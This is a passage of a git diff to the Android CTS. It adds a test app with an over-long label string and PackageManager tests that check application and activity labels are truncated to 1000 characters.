         <option name="push" value="CtsContentTestCases.apk->/data/local/tmp/cts/content/CtsContentTestCases.apk" />
         <option name="push" value="CtsContentEmptyTestApp.apk->/data/local/tmp/cts/content/CtsContentEmptyTestApp.apk" />
+        <option name="push" value="CtsContentLongLabelNameTestApp.apk->/data/local/tmp/cts/content/CtsContentLongLabelNameTestApp.apk" />
     </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/content/emptytestapp/Android.mk b/tests/tests/content/emptytestapp/Android.mk
index ea4d35a..ce20d8c 100644
--- a/tests/tests/content/emptytestapp/Android.mk
+++ b/tests/tests/content/emptytestapp/Android.mk
@@ -28,3 +28,20 @@
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsContentLongLabelNameTestApp
+
+LOCAL_MANIFEST_FILE := LongLabelNameTestApp/AndroidManifest.xml
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SDK_VERSION := current
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/content/emptytestapp/LongLabelNameTestApp/AndroidManifest.xml b/tests/tests/content/emptytestapp/LongLabelNameTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..eaa69b1
--- /dev/null
+++ b/tests/tests/content/emptytestapp/LongLabelNameTestApp/AndroidManifest.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Test that the maximum length of the label returned from the load label api should be 1000 -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.content.cts.emptytestapp" >
+    <application android:hasCode="false" android:label="@string/long_app_name">
+        <activity android:name=".MockActivity" android:label="@string/long_app_name"
+                  android:exported="true" android:enabled="true" />
+    </application>
+</manifest>
diff --git a/tests/tests/content/emptytestapp/res/values/strings.xml b/tests/tests/content/emptytestapp/res/values/strings.xml
new file mode 100644
index 0000000..8c06d18
--- /dev/null
+++ b/tests/tests/content/emptytestapp/res/values/strings.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="long_app_name">
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+EmptyTestApp123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
+    </string>
+</resources>
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 2c4d0067..772866f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -63,6 +63,9 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -108,11 +111,23 @@
 
     private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
 
+    private static final String SAMPLE_APK_BASE = "/data/local/tmp/cts/content/";
+    private static final String LONG_LABEL_NAME_APK = SAMPLE_APK_BASE
+            + "CtsContentLongLabelNameTestApp.apk";
+    private static final String EMPTY_APP_PACKAGE_NAME = "android.content.cts.emptytestapp";
+
+    private static final int MAX_SAFE_LABEL_LENGTH = 1000;
+
     @Before
     public void setup() throws Exception {
         mPackageManager = InstrumentationRegistry.getContext().getPackageManager();
     }
 
+    @After
+    public void tearDown() throws Exception {
+        uninstallPackage(EMPTY_APP_PACKAGE_NAME);
+    }
+
     @Test
     public void testQuery() throws NameNotFoundException {
         // Test query Intent Activity related methods
@@ -988,4 +1003,41 @@
         assertThat(packageInfo.signatures)
                 .asList().containsExactly((Object[]) pastSigningCertificates);
     }
+
+    private boolean installPackage(String apkPath) {
+        return SystemUtil.runShellCommand("pm install -t " + apkPath).equals("Success\n");
+    }
+
+    private void uninstallPackage(String packageName) {
+        SystemUtil.runShellCommand("pm uninstall " + packageName);
+    }
+
+    @Test
+    public void loadApplicationLabel_withLongLabelName_truncated() throws Exception {
+        assertThat(installPackage(LONG_LABEL_NAME_APK)).isTrue();
+        final ApplicationInfo info = mPackageManager.getApplicationInfo(
+                EMPTY_APP_PACKAGE_NAME, 0 /* flags */);
+        final CharSequence resLabel = mPackageManager.getText(
+                EMPTY_APP_PACKAGE_NAME, info.labelRes, info);
+
+        assertThat(resLabel.length()).isGreaterThan(MAX_SAFE_LABEL_LENGTH);
+        assertThat(info.loadLabel(mPackageManager).length()).isEqualTo(MAX_SAFE_LABEL_LENGTH);
+    }
+
+    @Test
+    public void loadComponentLabel_withLongLabelName_truncated() throws Exception {
+        assertThat(installPackage(LONG_LABEL_NAME_APK)).isTrue();
+        final ComponentName componentName = ComponentName.createRelative(
+                EMPTY_APP_PACKAGE_NAME, ".MockActivity");
+        final ApplicationInfo appInfo = mPackageManager.getApplicationInfo(
+                EMPTY_APP_PACKAGE_NAME, 0 /* flags */);
+        final ActivityInfo activityInfo = mPackageManager.getActivityInfo(
+                componentName, 0 /* flags */);
+        final CharSequence resLabel = mPackageManager.getText(
+                EMPTY_APP_PACKAGE_NAME, activityInfo.labelRes, appInfo);
+
+        assertThat(resLabel.length()).isGreaterThan(MAX_SAFE_LABEL_LENGTH);
+        assertThat(activityInfo.loadLabel(mPackageManager).length())
+                .isEqualTo(MAX_SAFE_LABEL_LENGTH);
+    }
 }